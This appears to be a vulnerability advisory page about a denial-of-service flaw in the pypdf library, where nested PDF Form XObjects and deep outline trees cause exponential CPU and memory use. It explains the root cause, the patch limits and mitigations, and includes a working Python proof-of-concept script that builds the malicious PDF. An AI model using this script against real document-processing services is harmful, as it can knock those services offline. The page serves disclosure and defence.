CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-84311

CVE-2026-84311: Algorithmic Complexity Denial of Service in pypdf

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 2, 2026·7 min read·3 visits

Executive Summary (TL;DR)

pypdf prior to version 6.16.1 is vulnerable to an algorithmic complexity Denial of Service (DoS) attack, resembling a 'Billion Laughs' entity expansion, via crafted nested Form XObjects or extremely deep outline trees.

CVE-2026-84311 (GHSA-763m-79hh-57f2) is an algorithmic complexity Denial of Service (DoS) vulnerability in the pypdf library. Prior to version 6.16.1, the library does not place limits on iterations during the parsing of PDF document outlines and recursive Form XObject (XForm) expansions. An attacker can craft a malicious, highly compressed PDF document containing nested structures which, when parsed, trigger exponential iteration paths, resulting in severe CPU and memory exhaustion.

Vulnerability Overview and Context

pypdf is a widely utilized, pure-Python library designed to handle PDF files, including operations such as splitting, merging, cropping, and transforming pages. Because of its ease of integration and lack of external dependencies, it is frequently embedded in backend systems to handle automated document indexing, content extraction, and document processing pipelines.

This widespread adoption exposes a massive attack surface. Backend systems processing arbitrary PDF uploads from untrusted users are particularly vulnerable. When a malicious document is submitted, any routine calling core functionalities like text extraction or outline parsing will trigger the vulnerability.

CVE-2026-84311 represents an algorithmic complexity vulnerability classified under CWE-834 (Excessive Iteration). It arises from the absence of execution constraints when resolving non-cyclic hierarchical structures. Unlike cyclic paths, which standard recursion counters can detect, these overlapping paths allow an attacker to trigger resource exhaustion with extremely small payload sizes.

Root Cause Analysis of the Algorithmic Complexity Flaw

The core issue exists within two distinct parsing logic paths in the pypdf implementation: the document outline tree retrieval and the XObject Form text extraction routines. In previous releases, pypdf relied on a simple cycle detection mechanism. It maintained a set of visited node identifiers to avoid infinite recursion loops, which successfully stopped cyclic graphs (e.g., Node A referencing Node B, which references Node A).

However, this defense mechanism failed against Directed Acyclic Graphs (DAGs) and deeply nested hierarchical structures that do not contain cycles. In the case of the document outline retrieval (located in _get_outline within _doc_common.py), an attacker can supply an excessively deep outline tree. Because Python has a strict limit on its call-stack, this deep recursion triggers a RecursionError, immediately terminating the interpreter process.

In the case of XObject Form text extraction (located in _extract_text within _page.py), the flaw manifests as an entity expansion pattern, conceptually identical to the classic XML 'Billion Laughs' attack. Form XObjects represent reusable layout streams. A page or a Form XObject can reference other Form XObjects using the /XObject resource dictionary. When traversing these references to extract text, the library would expand each form recursively without tracking global invocation counts. By layering multiple Form XObjects where each form points to the next child multiple times, the total operations scale exponentially. A file under 15 KB in size with 25 levels of nested XObject forms translates to over 33 million execution paths, completely monopolizing the thread and depleting physical memory.

Code-Level Vulnerability and Patch Walkthrough

To remediate CVE-2026-84311, the maintainers introduced a global tracking class called _TraversalState and defined strict limits for execution depths and total loops. The fix enforces a maximum outline depth of 100, a maximum outline entry limit of 100,000, and restricts the maximum Form XObject invocations per extraction to 5,000.

Below is an analysis of the vulnerable recursive logic contrasted against the patched implementation. The introduction of _TraversalState acts as a thread-safe, mutable container to persist invocation counts across recursive frames:

# File: pypdf/_utils.py
@dataclass
class _TraversalState:
    """State tracker implemented to monitor and limit recursion paths."""
    entry_count: int = 0
    has_logged: bool = False

In the patched version of _get_outline, the parser evaluates both the depth and the accumulative entry_count against their respective thresholds, throwing a LimitReachedError if exceeded:

# File: pypdf/_doc_common.py
if depth > OUTLINE_MAX_DEPTH:
    raise LimitReachedError(f"Maximum outline depth reached: {depth} > {OUTLINE_MAX_DEPTH}.")
 
traversal_state.entry_count += 1
if traversal_state.entry_count > OUTLINE_MAX_ENTRIES:
    raise LimitReachedError(
        f"Maximum outline entry limit reached: {traversal_state.entry_count} > {OUTLINE_MAX_ENTRIES}."
    )

Similarly, during text extraction, the _extract_text__xform method checks the global counter and drops additional processing if the cap is met, logging a warning rather than crashing the system:

# File: pypdf/_page.py
if traversal_state.entry_count >= MAX_XFORM_INVOCATIONS_PER_EXTRACTION:
    if not traversal_state.has_logged:
        traversal_state.has_logged = True
        logger_warning(
            "Exceeded %(limit)d form XObject invocations while extracting text; further content skipped.",
            source=__name__,
            limit=MAX_XFORM_INVOCATIONS_PER_EXTRACTION
        )
    return ""

This defensive design is robust. Instead of raising an unhandled exception that would crash the execution flow, the text extraction gracefully degrades by omitting deeply nested structures and continuing execution, thereby neutralizing the Denial of Service vector.

Attack Methodology and Proof-of-Concept

Exploiting CVE-2026-84311 requires no elevated privileges or unique environmental conditions, placing it at a low difficulty level (Attack Complexity: Low). The primary prerequisite is that the target application must accept user-supplied PDF documents and perform automated operations on them, such as reading outlines or extracting text (e.g., for document preview generation, full-text indexing, or content parsing).

To demonstrate this behavior, an attacker can construct a valid PDF structure using a sequential chain of Form XObject definitions. The attack relies on overlapping, non-cyclic references within the PDF tree. A visual flow of this structural layout is shown below:

This graph illustrates how the parser is forced to process 2^k paths. Below is a conceptual representation of the exploit construction script. This script outputs a tiny PDF file containing highly nested Form XObjects. Processing this file on any version of pypdf prior to 6.16.1 will lead to execution times or memory crashes:

# Proof of Concept: Generating a Resource Exhaustion PDF
from pypdf import PdfWriter
from pypdf.generic import DictionaryObject, NameObject, NumberObject, RectangleObject, StreamObject
 
writer = PdfWriter()
page = writer.add_blank_page(width=612, height=792)
 
# Configure nested Form XObjects to simulate the Billion Laughs structure
depth = 25
forms = [StreamObject() for _ in range(depth + 1)]
form_refs = [writer._add_object(form) for form in forms]
 
for k, form in enumerate(forms):
    if k < depth:
        next_name = NameObject(f"/F{k + 1}")
        form_content = f"q\n{next_name} Do\n{next_name} Do\nQ\n".encode("ascii")
        xobjects = DictionaryObject({next_name: form_refs[k + 1]})
    else:
        form_content = b"BT\n/F1 12 Tf\n100 700 Td\n(.) Tj\nET\n"
        xobjects = DictionaryObject()
 
    form.update({
        NameObject("/Type"): NameObject("/XObject"),
        NameObject("/Subtype"): NameObject("/Form"),
        NameObject("/FormType"): NumberObject(1),
        NameObject("/BBox"): RectangleObject([0, 0, 612, 792]),
        NameObject("/Resources"): DictionaryObject({NameObject("/XObject"): xobjects})
    })
    form.set_data(form_content)

When a vulnerable microservice processes the resulting file and attempts to index its text via page.extract_text(), the Python engine is locked into a heavy recursion loop. Because the memory required to maintain the traversal frames escalates rapidly, the host container or server will exhaust its physical memory, initiating an Out-of-Memory (OOM) killer event that crashes the process.

Threat Mitigation and Security Operations

The direct and recommended solution to address CVE-2026-84311 is to upgrade pypdf to version 6.16.1 or later. This release enforces hard limits on internal parser recursions, stopping the algorithmic exhaustion cleanly.

In scenarios where immediate updates cannot be deployed due to software freeze windows, organizations should implement defense-in-depth mitigations. First, establish process-level resource constraints using container configuration policies (such as setting memory limits and CPU limits in Kubernetes or Docker) or operating system controls (such as ulimit or systemd service execution limits). This ensures that if a parser thread hangs, it will be terminated without taking down the entire service host.

Second, applications can implement file processing timeout mechanisms. Python's multiprocessing library can execute the PDF extraction process in a separate sandboxed thread or process with a strict execution wall-time (e.g., terminating any task that takes longer than 10 seconds). Furthermore, you should inspect logs for signature markers indicating exploit attempts:

  • Look for occurrences of pypdf.errors.LimitReachedError indicating that maximum depth limits were reached.
  • Look for the specific warning message logged by the patched library: Exceeded 5000 form XObject invocations while extracting text; further form content is skipped.

Implementing these rules ensures visibility into ongoing attacks while validating the efficacy of deployed patches.

Official Patches

py-pdfCommit implementing limit checks on recursion and nested traversals

Fix Analysis (1)

Technical Appendix

CVSS Score
4.8/ 10
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Affected Systems

Python backend applications parsing untrusted PDF uploadsDocument indexing and full-text extraction microservicesClient-side Python applications processing user-supplied PDF documents

Affected Versions Detail

Product
Affected Versions
Fixed Version
pypdf
py-pdf
< 6.16.16.16.1
AttributeDetail
CWE IDCWE-834 (Excessive Iteration)
Attack VectorLocal (via untrusted file processing)
CVSS Score4.8 (Medium)
Exploit StatusProof-of-Concept Available
CISA KEV StatusNot Listed
ImpactApplication-level Denial of Service (CPU/Memory Exhaustion)
Patched Version6.16.1

MITRE ATT&CK Mapping

T1499.004Endpoint Denial of Service: Application Exhaustion Flood
Impact
CWE-834
Excessive Iteration

The software performs an iterative operation where the loop control is dependent on an untrusted input size, or contains recursion logic without strict boundary limits, allowing an attacker to cause the software to consume an excessive amount of resources.

Known Exploits & Detection

GitHubProof-of-concept tests and replication files contained within the official pull request

Vulnerability Timeline

Pull Request #3966 submitted and patch commit published
2026-08-14
pypdf version 6.16.1 officially released
2026-08-14
CVE-2026-84311 published and registered in NVD
2026-09-01

References & Sources

  • [1]GitHub Security Advisory GHSA-763m-79hh-57f2
  • [2]pypdf Fix Commit d91ab705fd81ed1a9cec175c6958600dea1a4942
  • [3]pypdf Pull Request #3966
  • [4]pypdf 6.16.1 Release Notes
  • [5]NVD CVE-2026-84311 Record
  • [6]CVE.org CVE-2026-84311 Authority Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•15 minutes ago•CVE-2026-84309
6.9

CVE-2026-84309: Infinite Loop and CPU Exhaustion in pypdf TreeObject.insert_child

An infinite loop vulnerability in pypdf versions prior to 6.16.0 allows attackers to trigger computational resource exhaustion and complete thread locking by supplying a malformed PDF with a cyclic tree structure. When modifying or rewriting document outlines containing circular references, the library endlessly traverses /Next pointers, resulting in application denial of service.

Alon Barad
Alon Barad
1 views•6 min read
•about 2 hours ago•CVE-2026-84310
4.8

CVE-2026-84310: Algorithmic Complexity Exhaustion in pypdf

An algorithmic complexity vulnerability in the pypdf library before version 6.16.1 allows remote or local attackers to cause an application denial of service. The flaw is triggered via maliciously crafted PDF documents that utilize either deeply nested outlines or exponential Directed Acyclic Graph (DAG) structures in Form XObjects.

Alon Barad
Alon Barad
2 views•7 min read
•about 3 hours ago•CVE-2026-77567
8.1

CVE-2026-77567: Multi-Factor Authentication Bypass in Filament App-Based MFA

An authentication bypass vulnerability exists in Filament's app-based (TOTP/authenticator) multi-factor authentication (MFA) system when recovery codes are enabled. This allow attackers possessing primary credentials to bypass the second-factor authentication check entirely by manipulating the Livewire state during the challenge-form validation lifecycle.

Alon Barad
Alon Barad
6 views•7 min read
•about 4 hours ago•CVE-2026-84307
3.7

CVE-2026-84307: Authentication Oracle and Multi-Factor Authentication Challenge Leak in Filament

An authentication oracle vulnerability exists in Filament before 4.12.5 and 5.7.5. The application initiates MFA challenge workflows prior to verifying user authorization policies, allowing unauthenticated attackers to validate guessed credentials.

Alon Barad
Alon Barad
3 views•6 min read
•about 5 hours ago•CVE-2026-84306
6.5

CVE-2026-84306: Multi-Factor Authentication Bypass via Replay Attack in Filament

A multi-factor authentication bypass vulnerability exists in Filament (Laravel full-stack framework panels) due to improper time-step tracking of Time-Based One-Time Password (TOTP) codes. By submitting valid TOTP codes from an older time window within the drift allowance, an attacker with a user's password can bypass the single-use MFA guarantee and obtain unauthorized account access.

Alon Barad
Alon Barad
3 views•7 min read
•about 6 hours ago•CVE-2026-19418
7.3

CVE-2026-19418: Broken Access Control and Cross-Site Request Forgery in TYPO3 CMS Core

CVE-2026-19418 is a high-severity origin validation vulnerability in TYPO3 CMS that enables Cross-Site Request Forgery (CSRF) and access control bypasses. Due to architectural consolidation of entry points in version 13.0, the core ReferrerEnforcer fails to isolate backend endpoints from the frontend, allowing an attacker with frontend script execution capabilities to perform unauthorized administrative actions.

Alon Barad
Alon Barad
4 views•5 min read